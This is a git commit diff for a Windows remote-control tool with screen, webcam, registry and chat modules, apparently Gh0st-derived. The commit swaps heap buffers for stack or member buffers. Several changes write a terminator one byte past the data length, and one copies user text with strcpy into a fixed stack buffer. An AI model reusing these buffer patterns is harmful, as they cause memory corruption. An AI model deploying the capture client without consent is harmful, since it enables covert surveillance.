减少远程桌面new的频次
减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。
This commit is contained in:
@@ -127,3 +127,9 @@
|
||||
4、当退出远程桌面窗口全屏状态时,不再向远程被控端发送F11。
|
||||
|
||||
5、发现在有线网络条件下主控端崩溃几率较小。
|
||||
|
||||
6、禁用主控端输入法,解决使用远程桌面在被控端输入时的麻烦问题。
|
||||
|
||||
2019.1.21
|
||||
|
||||
减少远程桌面new缓冲区的频率,将部分从堆上new固定内存的操作改用从栈上分配内存。
|
||||
|
||||
@@ -86,7 +86,6 @@ char* RegisterOperation::FindPath()
|
||||
if(KeyCount>0&&KeySize>1){
|
||||
int Size=sizeof(REGMSG)+1;
|
||||
|
||||
//buf=new char[KeyCnt*KeySize+size+1];
|
||||
DWORD DataSize=KeyCount*KeySize+Size+1; //[TOKEN_REG_PATH][2 11 ccccc\0][11][11]
|
||||
szBuffer=(char*)LocalAlloc(LPTR, DataSize);
|
||||
ZeroMemory(szBuffer,DataSize);
|
||||
|
||||
@@ -28,6 +28,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO
|
||||
|
||||
m_ScreenSpyObject = new CScreenSpy(16);
|
||||
|
||||
szBuffer = new char[4 * m_ScreenSpyObject->m_ulFullWidth * m_ScreenSpyObject->m_ulFullHeight];
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
@@ -64,8 +66,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
||||
printf("SendScreen Span = %d ms\n", span);
|
||||
last = clock();
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
delete[] szBuffer;
|
||||
szBuffer = NULL;
|
||||
}
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
@@ -102,6 +102,11 @@ CScreenManager::~CScreenManager()
|
||||
|
||||
delete[] m_ScreenSpyObject;
|
||||
m_ScreenSpyObject = NULL;
|
||||
if(szBuffer)
|
||||
{
|
||||
delete [] szBuffer;
|
||||
szBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
@@ -195,16 +200,12 @@ VOID CScreenManager::SendFirstScreen()
|
||||
}
|
||||
|
||||
ULONG ulFirstSendLength = 1 + m_ScreenSpyObject->GetFirstScreenLength();
|
||||
LPBYTE szBuffer = new BYTE[ulFirstSendLength];
|
||||
|
||||
szBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(szBuffer + 1, FirstScreenData, ulFirstSendLength - 1);
|
||||
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, ulFirstSendLength);
|
||||
|
||||
delete [] szBuffer;
|
||||
|
||||
szBuffer = NULL;
|
||||
szBuffer[ulFirstSendLength] = 0;
|
||||
}
|
||||
|
||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
@@ -218,10 +219,9 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||
|
||||
ulNextSendLength += 1;
|
||||
|
||||
char* szBuffer = new char[ulNextSendLength];
|
||||
|
||||
szBuffer[0] = TOKEN_NEXTSCREEN;
|
||||
memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
|
||||
szBuffer[ulNextSendLength] = 0;
|
||||
|
||||
return szBuffer;
|
||||
}
|
||||
|
||||
@@ -17,6 +17,7 @@ class IOCPClient;
|
||||
class CScreenManager : public CManager
|
||||
{
|
||||
public:
|
||||
char* szBuffer;
|
||||
CScreenManager(IOCPClient* ClientObject, int n);
|
||||
virtual ~CScreenManager();
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<RemoteDebuggerCommand>D:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||
<RemoteDebuggerWorkingDirectory>D:\VM\Remoter</RemoteDebuggerWorkingDirectory>
|
||||
<RemoteDebuggerServerName>192.168.12.248</RemoteDebuggerServerName>
|
||||
<DeploymentDirectory>D:\VM\Remoter</DeploymentDirectory>
|
||||
<RemoteDebuggerCommand>C:\VM\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||
<RemoteDebuggerWorkingDirectory>C:\VM\Remoter</RemoteDebuggerWorkingDirectory>
|
||||
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
|
||||
<DeploymentDirectory>C:\VM\Remoter</DeploymentDirectory>
|
||||
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
|
||||
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
|
||||
<DebuggerFlavor>WindowsRemoteDebugger</DebuggerFlavor>
|
||||
|
||||
@@ -83,25 +83,21 @@ void CVideoManager::Destroy()
|
||||
|
||||
void CVideoManager::SendBitMapInfor()
|
||||
{
|
||||
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
LPBYTE szBuffer = new BYTE[dwBytesLength];
|
||||
if (szBuffer == NULL)
|
||||
return;
|
||||
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO; //+ ͷ
|
||||
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
||||
delete [] szBuffer;
|
||||
}
|
||||
|
||||
void CVideoManager::SendNextScreen()
|
||||
{
|
||||
DWORD dwBmpImageSize=0;
|
||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize); //m_pVideoCap->GetDIB();
|
||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
|
||||
// token + IsCompress + m_fccHandler + DIB
|
||||
int nHeadLen = 1 + 1 + 4;
|
||||
|
||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;//m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
|
||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;
|
||||
LPBYTE lpBuffer = new BYTE[nBufferLen];
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>192.168.12.250 2356</LocalDebuggerCommandArguments>
|
||||
<LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
#include "2015Remote.h"
|
||||
#include "ScreenSpyDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include <imm.h>
|
||||
|
||||
|
||||
// CScreenSpyDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
@@ -28,6 +29,7 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
|
||||
CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
|
||||
: CDialog(CScreenSpyDlg::IDD, Parent)
|
||||
{
|
||||
ImmDisableIME(0);// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>뷨
|
||||
m_bFullScreen = FALSE;
|
||||
|
||||
m_iocpServer = IOCPServer;
|
||||
@@ -415,7 +417,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
||||
case WM_SYSKEYDOWN:
|
||||
case WM_SYSKEYUP:
|
||||
if (pMsg->wParam == VK_F11 && LeaveFullScreen()) // F11: <20>˳<EFBFBD>ȫ<EFBFBD><C8AB>
|
||||
return true;
|
||||
return TRUE;
|
||||
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
|
||||
{
|
||||
MSG Msg;
|
||||
@@ -426,7 +428,7 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
||||
SendCommand(&Msg);
|
||||
}
|
||||
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
|
||||
return true;// <20><><EFBFBD><EFBFBD>Enter<65><72>ESC<53>رնԻ<D5B6>
|
||||
return TRUE;// <20><><EFBFBD><EFBFBD>Enter<65><72>ESC<53>رնԻ<D5B6>
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -439,12 +441,12 @@ VOID CScreenSpyDlg::SendCommand(MSG* Msg)
|
||||
if (!m_bIsCtrl)
|
||||
return;
|
||||
|
||||
LPBYTE szData = new BYTE[sizeof(MSG) + 1];
|
||||
const int length = sizeof(MSG) + 1;
|
||||
BYTE szData[length + 3];
|
||||
szData[0] = COMMAND_SCREEN_CONTROL;
|
||||
memcpy(szData + 1, Msg, sizeof(MSG));
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, szData, sizeof(MSG) + 1);
|
||||
|
||||
delete[] szData;
|
||||
szData[length] = 0;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, szData, length);
|
||||
}
|
||||
|
||||
BOOL CScreenSpyDlg::SaveSnapshot(void)
|
||||
|
||||
@@ -25,6 +25,7 @@ void CTalkDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk);
|
||||
m_EditTalk.SetLimitText(2048);
|
||||
}
|
||||
|
||||
|
||||
@@ -63,15 +64,12 @@ void CTalkDlg::OnBnClickedButtonTalk()
|
||||
CString strData;
|
||||
m_EditTalk.GetWindowText(strData); //EditBox <20>ϻ<EFBFBD><CFBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
char* szBuffer = new char[iLength + 1]; // 2019.1.5 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1
|
||||
memset(szBuffer,0,sizeof(char)*iLength);
|
||||
|
||||
char szBuffer[4096] = {0};
|
||||
strcpy(szBuffer,strData.GetBuffer(0));
|
||||
|
||||
m_EditTalk.SetWindowText(NULL); //EditBox <20>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)szBuffer, strlen(szBuffer));//<2F><><EFBFBD>Լ<EFBFBD><D4BC>ڴ<EFBFBD><DAB4>е<EFBFBD><D0B5><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7><EFBFBD>
|
||||
delete [] szBuffer;
|
||||
}
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user